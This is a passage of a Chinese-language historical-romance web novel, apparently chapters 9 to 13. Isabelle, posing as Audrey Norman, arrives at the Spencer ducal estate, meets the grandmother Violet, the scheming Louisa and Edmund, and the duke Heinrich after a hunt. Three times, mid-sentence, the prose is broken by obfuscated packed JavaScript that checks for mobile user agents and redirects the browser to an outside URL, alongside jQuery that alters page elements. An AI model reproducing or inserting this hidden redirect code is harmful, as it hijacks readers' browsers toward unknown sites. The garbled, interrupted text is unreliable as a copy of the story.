接连应付几位客人的恭维,老夫人——现任斯宾塞公爵的祖母;一位以吹毛求疵闻名的老年贵妇;薇奥莱特女士,脸上渐渐显露出不耐。 “埃莉诺。”薇奥莱特喊。 忠诚的女管家立刻走向她:“是,夫人。” “安德鲁还没回来吗?” 埃莉诺看向身后的女仆,女仆会意,上前道:“半小时前,安德鲁管家的马车已经回到庄园。” 薇奥莱特皱眉,立刻吩咐埃莉诺:“你去告诉他,别把那位诺曼小姐领到宴会区。” 埃莉诺迟疑:“我想您该见一见未来的孙媳妇。” “但不是今天。”薇奥莱特用羽毛扇遮脸,嫌弃地翻了个白眼,扫视周围,“噢!埃莉诺,瞧瞧这些恨不得把家里的行头都搬到身上的女人们!我可不想她们一眼就看出斯宾塞公爵府未来的女主人是个乡下来的土包子!” “……” 埃莉诺沉默片刻,识趣地没有提醒老夫人,她胸前的绿蜻蜓宝石胸针也是翻了一早上的箱底,特意找出来摆阔的。 “出身男爵家庭,诺曼小姐想必没有您预计的那般粗鲁。” “男爵?噢!埃莉诺!别再提醒我海因里希即将迎娶一位男爵女儿!”薇奥莱特挑眉,语调是贵族特有的抑扬顿挫,“诺曼?呵,多么古老的姓氏,如果不是女王赐婚,除非回到一千年前他们有名有姓的时候,我才能勉强同意沾上一门‘诺曼’姻亲!” 说话时,不远处的某位伯爵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902046|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫人向薇奥莱特颔首致意。 薇奥莱特回以谦和的微笑,转头嘴角就耷拉下去,“看看!多少双眼睛盯着我!快去叮嘱他们,要是人已经在来的路上,立刻把她带下去整装打扮。” “是。” 埃莉诺不再赘言,转身离开。 路上撞到一位迎面走来的年轻贵妇,她脚步一顿,颔首行礼:“路易莎夫人。” 路易莎·霍华德,公爵堂弟埃德蒙·斯宾塞的夫人;暂时对查尔维斯庄园行管理之责;一位出身侯爵府邸饱受美誉的贵族千金。 “埃莉诺?奶奶急匆匆地叫你去做什么?” 路易莎穿着红绸大摆长裙,胸前的鸽血红与她的头发一般耀眼。与出彩的穿着不同,她向来性情温和,对待仆人总是宽容仁慈,很受大家欢迎。 面对她谦逊的神情,埃莉诺却丝毫不受触动,依然板着脸:“薇奥莱特夫人让我去拿遮阳伞。” 路易莎盯着她看了一会儿,眸光微动。 知道埃莉诺的嘴向来严实,她没打算问出什么,只抬着扇子遮挡并不存在的阳光,暗示埃莉诺别撒拙劣的谎。 “是啊,刚下过一场雨,真热。但愿未来的嫂嫂,那位来自洛森郡的诺曼小姐,能够适应查尔维斯庄园变化无常的天气。”路易莎感慨,“哦,对了,算算时间,她应该今天到了吧?” 埃莉诺沉默,并不回应,也不为刚才的借口而脸红。不动如山的模样,像极了薇奥莱特摆在房间的座钟,除了提示主人以外,对其他的一切漠不关心。 路易莎心里冷哼一声,面上却笑容不变,“好了,你去忙吧。耽误你的时间,奶奶又该对我不满了。” 埃莉诺颔首告辞。 另一边,宴会中心的薇奥莱特早就注意到了路易莎。 威严而不耐的声音传来,“路易莎,过来我看看,希望你今天穿了我建议的红色裙子。” 路易莎换上热情的笑脸,优雅踱步:“如您所见。” 薇奥莱特用挑剔的目光上下扫视,良久才勉强赞许:“很好,在查尔维斯庄园行走的女人,维持光鲜的外表是最基本的要求。身为主人更是如此。” “别再让我看见任何一位斯宾塞太太佩戴尺寸少于一百五十格令的珠宝。那会让赫斯兰的外来侯爵夫人笑话我们锡兰贵族的宝石像豌豆一样可怜!” 路易莎温驯低头:“是。” 眼看众贵妇聚拢而来,薇奥莱特停止训诫,摆手道:“去应酬吧,路易莎。你的交际能力要比穿衣品味高出不少,这是唯一让我感到欣慰的。” 路易莎再次颔首,笑道:“我天资愚笨,达不到祖母的要求。但我希望新来的‘斯宾塞太太’能有机会得到您的教诲,至少能让查尔维斯拥有更得体的管家人。” 话音刚落,路易莎悄悄抬眸,果然看见薇奥莱特脸色逐渐难看。 新来的“斯宾塞太太”?!乡下小郡来的丫头,别来隆重的宴会上丢脸就不错了,还体面?! 薇奥莱特翻白眼:“哼,上帝保佑,但愿埃莉诺来得及阻止她出现。” 路易莎听见她的抱怨,面上不动声色,照常与众贵妇谈笑风生,展示伶俐的口齿,内心却开始发笑。 来不及,当然来不及。 早在安德鲁进入庄园时,她就收到了消息。 路易莎环视四周,上流社会的交际舞会,往来贵妇穿梭,重重衣香鬓影之间,注定要出现一位狼狈的小姐,像丑小鸭闯入天鹅群——这会作为未来的斯宾塞公爵夫人,第一次惊艳亮相。 路易莎以扇掩口,轻勾唇角。 奥黛丽·诺曼?期待你的到来。 10. 第 10 章 路易莎的心声在下一刻应验。 乐团奏起悠扬的钢琴曲,高音演唱家声音雄浑,优美的音符覆盖在派对上空。 贵妇们保持着端庄体态,凝神欣赏音乐。最中央的薇奥莱特夫人闭着眼陶醉,就在女高音头腔共鸣,调子升至天灵盖的时刻,周围气氛陡然一凝,随即响起窃窃私语声。 “噢!她是谁?” “不知道,听说是……” …… 薇奥莱特心脏一紧,缓缓睁眼——只见不远处有个金头发女孩缓缓走来,穿着与华丽搭不上边的朴素蓝裙子,全身上下找不出一块可值得称道的发光石头。 所有人都将目光隐隐投向老夫人,看她的脸色行事。 长久的沉默后,薇奥莱特面无表情:“奥黛丽·诺曼?” 那位金发小姐已走到近前,行了一个无可挑剔的淑女礼:“是。” 眼前面带微笑的女孩,正是伊莎贝尔·诺曼。 薇奥莱特沉默半晌,深吸一口气:“路易莎,我想我需要嗅盐!” 路易莎:“噢!奶奶!你喘不上气了吗?” 场面陷入一阵小骚乱,路易莎忙吩咐仆从拿嗅盐,又向伊莎贝尔投以致歉的眼神,扫视的一瞬间,她忽然察觉不对劲。 伊莎贝尔安静地笑看她。 即便全身衣着朴素,却算得上干净整洁,尤其那双脚……并没有像路易莎预计的那样沾满污泥。 路易莎动作一顿,目光缓缓上移,定格在伊莎贝尔的脸上。 二人隔着攒动的人头对视,那双冰蓝色的眼睛平静如湖面,似乎将她心底的算计看得一干二净。 - 二十分钟前。 走过泥泞的小径,伊莎贝尔与艾米丽的鞋已经脏得令人发指,连裙摆都沾上了污渍。更别说额头的薄汗与散乱的碎发,衬得两个人像不小心闯进庄园的流浪汉。 艾米丽喘着气,看见不远处的高大城堡,兴奋道:“快到了!小姐,我们赶紧走吧!” 说着就拉起伊莎贝尔的手,却被后者按下。 “不。”伊莎贝尔看着清澈的湖泊,里面倒映着二人不堪的尊容,“不能这样过去。” 安德鲁和他背后的主人,一定在前方谋划着什么,好给外来者下马威。 不轻不重,是警示也是试探。 而她既不能完全着道,也不能完全绕道——初次亮相,对方想试试她的深浅,她也能借此机会了解庄园的局势。 艾米丽看着伊莎贝尔走向湖边的大树,借着粗壮树干的遮挡,竟然开始脱衣服?! “伊……奥黛丽小姐!你在做什么?” “如你所见,换上干净的裙子和鞋子。”伊莎贝尔利落拆散头发,重新整理,“过来帮我解开裙带。” 艾米丽惊慌失措,一面老实地帮伊莎贝尔换衣服,一面打量周围,发现这里完全没人才松了一口气。 “小姐,我必须说,这太冒险了!”艾米丽声音发着抖,“要是有人路过可全完了!一位体面的淑女被人看见裸露的身体……噢!我不敢想象!” 伊莎贝尔轻笑,从箱子里拿出新衣服,“放轻松,傻姑娘。安德鲁管家绝不会允许这条路上出现其他活人,那会让‘乡下丫头误闯盛会’的计划泡汤。” “可是……”艾米丽仍然很紧张,替她勒紧束胸的手都在抖,“万一有哪个倒霉的混蛋误闯……” 话音刚落,一枚石子突然投入湖面,发出“咚”的声响。 同一瞬间,艾米丽头发都要竖起来,发出短促地惊叫:“啊!” “谁?!是谁?!”艾米丽惊慌失措,“小姐,有人?” 她左看右看,周围平坦的草地一望无际,远处的小树林也荒无人烟! 老实说,在石头投入湖面的那一刻,伊莎贝尔的动作也停滞了数秒。 很少会有事情超出她的掌控,但毕竟不是全部。显然,此刻就是超出预计的那一小部分。 伊莎贝尔没有抬头,只盯着水面。 清澈的水镜倒映着少女被束胸勾勒出的曼妙身形,雪白肌肤在日光下闪闪发亮。倒影里,年逾百年的大树枝叶繁盛,半空中的粗壮树干后,一截衣摆露了出来,还有两条架着的腿,正在悠闲晃荡。 这明摆着就是那位投石子的元凶。 艾米丽还在慌乱寻找,甚至诞生可怕的猜想:“这里明明没有人!听说历史悠久的庄园离草木有灵,会诞生精灵!查尔维斯不会也有……” 倏然,有人发出一声嗤笑。 艾米丽如惊弓之鸟,“嗷”地一嗓子弹起来。终于找到了声源——就在头顶的树上。 “谁在那?!快下来!”艾米丽壮着胆子,一边挡在伊莎贝尔身前,“听着,我我我我们小姐是未来的公爵夫人!奥奥奥黛丽·诺曼!你敢把今天的事说出去一个字,公爵一定不会饶了你!” 片刻,传来纸张翻页的声音。那人似乎在看书,语气带着被打扰的不悦,冷哼:“奥黛丽·诺曼?请搞清楚,是你闯入我的领地,不由分说地脱个精光。看样子,似乎还会对我的名誉有损,该作出警告的是我才对。” 艾米丽瞠目结舌:“……” 在他们对话的期间,伊莎贝尔已经淡定地把衣服穿上,甚至有空将脏衣服放回箱子,俨然又是一位体面的淑女。 她对着水面整理碎发,余光瞥向树梢人影,语气漫不经心:“闯入你的领地?敢问阁下是?” “我为什么要自报家门?这对我将来要实施的敲诈行为毫无帮助。”男人声音冷傲又坦然。 艾米丽两眼一翻:“完了完了!他果然是个无赖!” 艾米丽已经沉浸在未来被敲诈勒索的恐惧中,伊莎贝尔却连眼皮都没抬,“尽管去吧,我身上有三颗痣,腰上还有一块蝴蝶胎记,但愿你能凭着我的丑闻,从斯宾塞公爵那敲出一万锡兰币。” “一万?”男人嗤笑,“你太看不起公爵夫人这个头衔的分量了。” “也许吧,可能更多,但那又怎样?”伊莎贝尔挑眉,缓缓道,“在拿到支票前,你已经没命了。” 男人反唇相讥:“但你也 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“亨里克·斯宾塞。公爵府的三少爷。” 树干后,书页不知何时合拢,一双黑色眼瞳注视着少女远去的背影。 伊莎贝尔步履不停,似乎没有将身后的声音放在心上。 脑中却默记——亨里克·斯宾塞? 艾米丽被伊莎贝尔留在原地,看守着行李。 伊莎贝尔眸光微动,拎着裙摆走向宴会区。 时针拨回此刻。 伊莎贝尔等待着骚乱过去,脸上既没有慌张,也没有愧疚。 众所周知,嗅盐总是出现在需要展示震惊的时刻,就像音乐家的指挥棒,厨师的调味瓶。少了趁手的道具,公爵老夫人就难以表达对乡下丫头穿衣品味的质疑和嫌弃。 正如此刻,薇奥莱特接过嗅盐,连瓶盖都没揭,人就坐直了身体,向是从梦中惊醒,并希望眼前的伊莎贝尔能原地消失。 伊莎贝尔对上薇奥莱特审视的目光,这才上前,弯曲膝盖行淑女礼。 “薇奥莱特夫人,初次见面,向您问好。” “你好,诺曼小姐。”薇奥莱特面无表情,但勾起标准的锡兰贵族式嘲讽微笑。 她从伊莎贝尔的头一直看到脚,如果不是条件所限,恐怕她连脚底板沾了几寸泥土都要检查。 伊莎贝尔任她打量,唇边含笑,又向其他人颔首:“初次见面,各位好。” “噢!你好,诺曼小姐。”各家贵妇笑容和煦,纷纷回应,同时也在评判着眼前的少女——知道公爵府会迎来一位洛森郡的新夫人,大家好奇极了。 乍一看,少女朴素的穿着与其他人的珠光宝气格格不入。仔细看,却发现她眼眸明亮,头发整齐,举止大方有礼,是位很出众的小姐。 薇奥莱特显然也察觉了这一点。 乡下丫头似乎没有把斯宾塞家的脸丢尽,这让老太太捏着嗅盐的手不由得松了松。 11. 第 11 章 “很高兴安德鲁将你安全送达,欢迎来到查尔维斯,诺曼小姐。”薇奥莱特语气缓和,脸上表情还是绷着,“你的礼貌令我喜欢,但……假如,我是说假如你能先休息片刻再来宴会亮相,或许会更轻松。” 当着宾客的面,老太太用关心的方式婉转表达质疑。伊莎贝尔当然听得出来。 可她现在并不了解局势,更不清楚薇奥莱特的立场和为人,所以不能直接告安德鲁的状。 念头转过数秒,伊莎贝尔颔首道:“休息固然重要,但任何人来到‘锡兰之心’,都难以抗拒想要游览的心情,玛格丽特雕像实在宏伟壮观,薇奥莱特夫人。” 她既恭维查尔维斯,又刻意点出‘玛格丽特雕像’,表达自己的确是亲身游览过的。 薇奥莱特唇角上扬,很快忍住,又极力往下垂着,作出严厉的姿态,“如果是这个理由,那我勉为其难能够理解。” “是个真诚的女孩。”有善心的贵妇笑道,“即便是查尔维斯的常客,也总为这里的美景沉醉。” “是啊,我也这么认为。” …… 几位贵妇接过话茬恭维,薇奥莱特的嘴角再也难以克制。 “过来,奥黛丽。”薇奥莱特招手。 伊莎贝尔:“是,薇奥莱特夫人。” “从现在起你可以叫我祖母了。”薇奥莱特起身,带着她走向众贵妇,“向你介绍,这是文森特表亲、这是辛西娅夫人,这是……” 伊莎贝尔一一与贵妇们打招呼,很快便完成了新人亮相宴会的任务。 最后,薇奥莱特叫来身侧的红裙女人,“这是路易莎,海因里希排行第二的弟弟,埃德蒙的妻子、你的弟媳。将来都是一家人,你们需要彼此了解。顺便……” 她顿了顿,看了眼伊莎贝尔:“你还得尽早学会如何打理家业,现在这一切由路易莎暂代,等你能够胜任,就要交还给你了,明白吗奥黛丽?” 伊莎贝尔:“明白了。” 点头的瞬间,路易莎眼底划过冷光,很快掩饰,笑道:“我会尽力帮助诺曼小姐。” “叫我名字就好。”伊莎贝尔微笑,直视她,“路易莎。” “噢!忘了给你介绍最重要的那一位。”薇奥莱特挑眉,几位夫人不约而同笑了起来。 “诺曼小姐初到查尔维斯,想必还没见到你未来的丈夫、斯宾塞公爵?” 伊莎贝尔笑:“是的,还没见过。” “他们男士去打猎,看时间快回来了。” 说着,众人一边站起身往下看去。 宴会区布置在长而平缓的坡上,视野极好,放眼望去是无际的草地山林。 山坡下,几位男士拖着猎物骑马而归,认出自己的妻子,向这里招手。 “嘿!亲爱的!” “噢是文森特,他回来了?”男士的妻子迎上前。 太阳快落山,不断有人回来,大家一起谈笑,顺便等待未归的大部队。 一时间,马蹄哒哒声不绝于耳。 伊莎贝尔并不大说话,只是客人们过来打招呼,薇奥莱特会顺便为她介绍,她再默默记下所有身份。 直到天边残阳渐收,路易莎也招起手来:“嗨!我在这!埃德蒙!” “奶奶,埃德蒙回来了!”她又转头告诉薇奥莱特。 “是的,我还没有老眼昏花。”薇奥莱特皱眉,“噢!连埃德蒙都回来了,希望海因里希没有被狼吃了,或者摔断腿?除非他猎了一头熊,否则我想不出这个点没回来的理由。” “不排除这个可能,奶奶!今天一整天我都没看到哥哥的身影,我倒要看看他怎么赢我!”埃德蒙牵着马由远及近,兴高彩烈地展示猎物:“看,路易莎,我抓到了三只红松鸡和野兔子!” “恭喜大丰收,亲爱的。”路易莎和埃德蒙贴面,“为你介绍新成员,诺曼小姐,未来的大嫂。” 埃德蒙这才看向伊莎贝尔,停留好一会儿才颔首行礼:“初次见面,向你问好。叫我埃德蒙就好,诺曼小姐。” “你好,埃德蒙。”伊莎贝尔微笑。 埃德蒙身量很高,却也很瘦。头发与眼珠都是黑色的,显得皮肤尤为苍白,很符合当下的少女对美男子的标准。如果再加点幽默风趣,就很能解释路易莎眼底的爱意。 伊莎贝尔不着痕迹地审视一番,移开视线——但不符合她的审美。 埃德蒙似乎对自己的魅力分外自信,他俏皮地眨眨眼,拎起一只野兔递给伊莎贝尔:“路易莎,请别介意我把这只野兔送给诺曼小姐,作为初见大嫂的见面礼。” “毕竟……”他顿了顿,自信一笑,“海因里希今天的长胜记录被我打破了,他兴许无颜面见美丽的未婚妻诺曼女士。” 路易莎沉默片刻,微笑:“当然可以。” 薇奥莱特:“埃德蒙,别在结果未定之前说大话。” “是啊,埃德蒙表弟,每年的狩猎盛宴海因都是冠军。”一旁的文森特先生打趣,“万一这次他捕到红鹿呢?” 埃德蒙眼色暗了暗,很快笑了起来:“是吗?那真是祝他好运!红鹿可是三年没出现了……” 话音未落,远处突然传来猎狗的吠叫。 众人纷纷抬头望去,穿着大裙摆的贵妇们占据了最前面的视野。 沉默一瞬,惊叹声接连不断。 “大部队回来了!噢!天呐!快来看!他们在赛马?!” “是我父亲,还有公爵也在!最前面的那个就是!” “我哥哥也在!” “太酷了!原来他们落在最后玩赛马!” “让我看看!真有意思!” …… 刚放下野兔的伊莎贝尔只来得及从缝隙里看见山坡下的情景。 打猎归来的大部队,自发开始赛马。 最前面,猎狗迅猛开道,吠叫声不绝于耳。后面是一长串的马队,无数骏马溅起尘土,带出千军万马的气势,轰隆隆而来。 最前面那匹马,浑身纯黑,戴全套银色马具,载着主人一骑绝尘。 日落西山,残阳如血。 狂风吹得他亚麻白宽袖衬衫猎猎而舞,薄红光线勾勒策马狂奔的姿态,像中世纪油画上的骑士般所向披靡。 “海因里希!第一!” 不知道是谁先发出的呐喊,人群突然自发地响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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山坡上的人群纷纷让开一条路,就在眨眼间,黑马猛冲而来,在主人的操纵下避开人群,绕了一圈才减速,喝彩声响起。 “啊!第一!!赢了!” “赢了!” “棒极了!” “公爵!公爵!公爵!” …… 众人簇拥着得胜归来的男人。 他没有下马,就这么抓着缰绳缓慢踱步,不时回应着祝贺,气势倨傲而凌然。 伊莎贝尔站在不远处,这才看清他的脸。 黑色中长头发被风吹向脑后,发尾蓬松微卷,有点像现代的狼尾,符合此人凌厉的气势。 他正在与人说话,碰巧一缕额发垂落,随手往后拨开,露出清晰的五官——脸型瘦窄而五官立体,每一处都协调融洽,与埃德蒙相似的黑色眼珠放在这张脸上,却显露出截然不同的深邃。 幸好被修长结实的身材中和,兼有生人勿近的气势与武力,才让人忽略这份不可思议的俊美。 像是察觉到注视,他倏然偏头,直直看向人群里的伊莎贝尔。 对上那双黑色眼珠,伊莎贝尔不闪不避,甚至微微颔首示意。 高大勇猛的冠军马,擦开人群,缓缓而来。众人不明所以,看着它前进,直至停留在蓝裙少女的面前。 衬衫潦草敞开露出锁骨,面对女士居高临下,这位贵族先生似乎没有恪守绅士礼仪的自觉,相当地自我。 他眼神睥睨,看着伊莎贝尔,慢慢吐出自我介绍:“海因里希·斯宾塞。” 12. 第 12 章 薇奥莱特皱眉训斥:“海因?我希望你记得自己是个贵族,盯着一位女士的眼睛超过三秒很无礼,对你未来的公爵夫人放尊重些,即便她是个十足的美人!” 语速飞快说完,意识到自己夸赞了伊莎贝尔的美貌已经来不及。 薇奥莱特诡异停顿两秒,不自在地干咳:“噢,我是说,虽然其他方面尚不足以得到我的夸奖,但金发碧眼的姑娘终归是吸引眼球的。” 贵妇们发出善意的笑声。 “毋庸置疑,未来的公爵夫人是个美人。” “谢谢各位的赞赏,尤其是来自薇奥莱特夫人的,当然,如果那算赞赏的话。”伊莎贝尔莞尔,一面瞥向海因里希:“不过,公爵先生的注视里应该不含上述的意思,我说得对吗?” “是的,比起你的蓝眼睛,我更惊叹于你的好运气。”他顿了顿,抬起下巴,“毕竟你是第一个真正到达查尔维斯的‘未来公爵夫人’。 这句话落地,气氛陡然沉寂。 众所周知,斯宾塞公爵已经死了四任未婚妻。这是查尔维斯的禁忌话题,从来不会公开讨论,此刻却被公爵本人搬上台面。 将家族尊严视为性命的薇奥莱特脸色立刻沉了下去:“海因里希!” 路易莎和埃德蒙对视一眼,似乎意识到这是添油加醋的好时机。 在开口前,却被伊莎贝尔抢先。 她笑意盈盈,像是没有察觉海因里希话中的第二层意思,顺理成章地将此视为夸赞,“是吗?这真是我的荣幸。” 贵妇们很有眼力劲儿,再次围着薇奥莱特说笑,一场风波蛰伏于无形。 海因里希注视着这一幕,眸光微动。 侥幸进入查尔维斯的未婚妻女士,比他想象得要敏锐。 不过,他表面上还是高傲地仰着头,发出冷哼。 下一刻,胯|下的坐骑却凑到伊莎贝尔的眼前,湿润的大眼睛眨了眨,还蹭了蹭她的掌心。 伊莎贝尔只好摸了摸冠军马的头。 与它的主人不同,这匹驰骋草原的悍马此刻无比温驯。 但爱马的背叛似乎令海因里希不大高兴,他拉了拉缰绳:“布莱克!” “你叫布莱克?”伊莎贝尔拍了拍黑马的头,它高兴地发出嘶鸣,又挨了海因里希两巴掌。 薇奥莱特哼笑出声:“布莱克还没改掉向女士献殷勤的毛病。” 众人都笑了起来,海因里希翻了个白眼。 谈笑半晌,仆人们将马和猎狗带走,好胜的雄性们迫不及待开始比拼谁的猎物更多、更珍贵。 埃德蒙得意地拎出红鸡:“嘿!你们瞧瞧这是什么!” “噢!红毛山鸡!棒极了!”众人围上去捧场。 红毛鸡生长于锡兰公国南部,属于野山鸡的一种。会飞的猎物都很难捕捉,埃德蒙一口气拎出三只,算是不菲的成绩。 他又拎起那只送给伊莎贝尔的野兔子,冲海因里希投以挑衅的眼神:“海因!很抱歉,虽然你打到了灰雁,恐怕也无法和我的猎物们相比。就由我代替你给诺曼小姐送上一只野兔子,作为冠军给女士的献礼。” 文森特怪叫起来:“噢?!搞清楚,诺曼小姐是海因表兄的未婚妻,轮不到你借花献佛,伙计!” 埃德蒙轻蔑一笑,不无炫耀道:“是的,可惜海因今天成果寥寥。” “很早以前我就对你说过。”他顿了顿,缓缓走向海因里希,目光阴鸷,“狼群里没有哪只狼能够一直做首领,狩猎盛宴的冠军也不会永远是同一个人。但凡头狼露出疲态,就会被窥伺的对手狠狠咬住脖颈。” 他说这话的声音压得很低,只有离得近的伊莎贝尔听见。 埃德蒙就像狼崽子,对待兄长毫无恭敬可言,眼底攻击性十足。而兄长似乎也没友好到哪里去,几乎将漠视和不屑写在脸上。 来自头狼的傲慢瞬间点燃了埃德蒙! “你在高傲什么?!我赢了你!海因里希!正视我!回答我!”他咬牙切齿。 “赢我?”海因里希最后的耐心被消磨,扯开一丝狠厉的笑,猛地揪住埃德蒙的领子,单手把人拎了起来,“听着,埃德蒙,你连和我对话的资格都没有。从前,现在,和未来。” 动静引来薇奥莱特的注视,她看向两个孙子:“埃德,海因,你们在做什么?” 伊莎贝尔和路易莎站在老夫人身侧,同时对望一眼。 路易莎深吸一口气,微笑:“没什么,奶奶,常胜将军马失前蹄,海因有些失态在所难免。埃德蒙作为今天的赢家总该慷慨大方。你说是吧,诺曼小姐?” 伊莎贝尔挑眉。 这是明晃晃地拉战线打擂台了? 前世,作为许莉莎,她也看过一些宅斗小说。现在她发现,也许东方的宅斗技巧对于西方来说,还是太超前了些。 来之前,她以为要花很长时间才能辨忠奸,现在好了,反派都会自己跳出来,明刀明枪地给你不痛快。两面三刀,阴阳脸什么的……人家还没到那个阶段。 念头滑过心间,伊莎贝尔甚至觉得眼前的情景有些好笑。 不过,夫妻一体,不管内里怎么样,作为公爵夫人,在外她得维护海因里希。 “路易莎,海因里希不至于为一次失败而失态,倒是埃德蒙,取得艰难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902049|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的胜利不容易,这只野兔还是还给你们。”伊莎贝尔顺势将对方用以炫耀的战利品还回去。 路易莎微笑:“野兔而已,是我和埃德蒙的心意。能赢一次,就能再赢无数次。” 说着又递回来。 伊莎贝尔当然不接。 笼子里的小野兔就这么晃来晃去,眼看就要眼冒金星,就见一只手伸了过来,将它拎到半空。 “一只野兔,还不配作为公爵夫人的见面礼。” 海因里希冷哼,随手将兔子递给侍从。 紧跟其后的埃德蒙嗤笑:“如果送灰雁的话,恐怕还不如野兔,起码女士们都爱毛绒绒的小家伙。” “灰雁?你对头狼的想象总是很匮乏。”海因里希眼带嘲讽,往后挥了挥手:“维克托。” 一位戴着金丝玳瑁眼镜、制服扣到顶的年轻男子恭敬上前,而后拍了拍手,八名侍从抬着一只巨大的铁笼,步伐整齐地走来。 笼子里,一只白色斑点小鹿睁着懵懂大眼睛,打量周围。它的头顶戴着一圈花环,胸前佩戴白色花朵丝带,显得十分可怜可爱。 众人的视线都被吸引。 “噢我的天,那是…黇鹿?!” “公爵大人捕获了黇鹿?!噢!这可是皇家森林都难以找到的珍稀动物!” …… 以文森特为首的贵族们向薇奥莱特祝贺:“恭喜您和公爵大人,这对于查尔维斯来说是吉兆!黇鹿十分珍贵,谁能猎到它,就是本局的无冕之王!” 说着他还俏皮的眨眼,“就是可怜的埃德蒙要失望了,红山鸡还不足以与黇鹿媲美!” 众人善意哄笑,连薇奥莱特也热情高涨:“好极了!吩咐下去,今天晚上举办舞会,庆贺查尔维斯大喜!” “棒极了!” 欢呼声不绝于耳,海因里希神色如常,胜利于他而言就跟喝水一样简单。 然而埃德蒙的脸色却在一声声的祝贺中渐渐暗沉。侍从问他是否还需要将为红山鸡戴上象征捕猎冠军的花环,被他一巴掌扇倒在地:“滚!” 路易莎立刻拉住他的手,低声:“不,别失态,埃德蒙。” 热闹不属于失败者,胜者更不会给予前者任何眼神。 海因里希显然是傲慢的胜者。 人群中央,他招手吩咐侍从打开笼子。 伊莎贝尔这才发现,小鹿脚上戴着镣铐,懵懂的眼睛里充满无助。 下一刻,海因里希挡住她的视线,语气如自我介绍一般傲慢。 “黇鹿属于你了。”像丢弃什么廉价的东西,他将小鹿头顶的花环抛给她,“奥黛丽·诺曼。” 13. 第 13 章 伊莎贝尔在起哄声中接过花环。 但她并不认为这是海因里希对“公爵夫人”这一身份的认可。 果然,年轻的公爵眸光带着审视,压低声音说,“希望你能将好运延续到,真正戴上公爵夫人冠冕的时刻。” 说完,他吹了声口哨,马蹄声由远及近。 海因里希骑上马,最后扔下一句话:“弱者无法在查尔维斯生存,这是送你的忠告,诺曼小姐。” - 夜幕降临,众人回到主城堡休整。 伊莎贝尔暂时被安排在客房,艾米丽要与斯宾塞家的佣人同住。当然,为了保证自家小女仆的安全,伊莎贝尔先把人叫进来嘱咐几句。 “听着,在彻底了解查尔维斯的情况之前,要多听多看,谨言慎行。有任何可疑的事情,都要跟我说。” 艾米丽郑重点头:“我明白,小姐。” 伊莎贝尔欣慰地拍拍她的头。 小姑娘年纪不大,和奥黛丽一样天真烂漫,但十分忠诚听话。看到她,就好像看到奥蒂。 艾米丽领命去了,作为新加入的女仆,她需要跟随公爵府女管家学习规矩。 房间里,只剩伊莎贝尔陷入沉思。 她不觉得海因里希的忠告是无用之谈,死去的四位未婚妻就是最好的例子。 表面上看,路易莎和埃德蒙是再明显不过的对手。接触一天下来,他们的坏心眼威力有限,似乎很好对付。 伊莎贝尔却不会因此掉以轻心。 反过来想,如果一对愚蠢的夫妻就能暗害四位出身名门、来头不小的贵女,事后还能摆脱嫌疑,更说明背后的水很深。 来之前,玛丽姨妈透露过公爵府的背景。 薇奥莱特夫人的丈夫、海因里希和埃德蒙的爷爷——弗雷德里克·斯宾塞是上一任公爵。 老爷子膝下有两个儿子,分别是海因里希和埃德蒙的父亲:路德维希·斯宾塞以及乔伊斯·斯宾塞。 按照锡兰公国继承法,爵位与庄园财产都由长子一脉继承。海因里希的父亲路德维希是第一顺位继承人,而海因里希排第二,其后才轮到埃德蒙的父亲以及埃德蒙本人。 变故就在五年前发生。 当时,锡兰公国对赫斯兰帝国发动第三次战争,弗雷德里克作为锡兰元帅领兵出征。 海因里希的父亲——路德维希,从小作为公爵继承人长大,内敛谦逊、骁勇善战,是个十足标准的锡兰贵族。他自请跟随父亲出征,立下不少军功。 就在父子俩得胜归来的前夕,突然传来战死的消息。 赫斯兰帝国已经准备宣布投降,但有狂热的战争分子不甘心战败,对锡兰公国进行伏击,载着斯宾塞父子俩的马车被炸毁。 噩耗传至查尔维斯,几乎是同一时间,年仅十八岁的海因里希只身奔赴前线,接过祖父和父亲的指挥权,再次与赫斯兰人作战。 对方还沉浸在锡兰痛失帝国双壁的喜悦中,士气高涨,连投降的诏书都收了起来,十分有信心反败为胜。 不料,新来的斯宾塞先生和他长辈的作战风格截然不同。那股不要命的疯劲儿,比坚船利炮还要恐怖。 也许是失去亲人的哀伤让年轻的统帅彻底愤怒,又或是斯宾塞家族血液里的好战基因被激发,总之,持续三个月的海上战役结束后,海因里希被赫斯兰人称为撒旦统帅。 这一次,投降书毫无疑问呈递到了锡兰女王的案头。 胜利后,按照元帅弗兰德里克曾留下的遗嘱,士兵们将他与路德维希的骨灰洒向大海,永远守护着锡兰公国的海域,如同帝国双壁还活着时那样。 故事进行到这里,波折再次发生。 王师凯旋的路上,海因里希被刺杀,身边的护卫悉数死亡,遗体也不知所踪。消息传到查尔维斯庄园,老夫人薇奥莱特接连遭受打击,差点跟着去了。 苦寻数月无果,只好确认海因里希身亡。悼念仪式由第三顺位继承人,公爵次子、埃德蒙的父亲乔伊斯主持。 同一天,乔伊斯还将承袭爵位。 当天,锡兰公国几乎所有上流贵族都出席了仪式。女王莅临默哀,教皇亲自祷告。 斯宾塞家族替国出征,一场战役里牺牲祖孙三代人,无疑令人痛心。 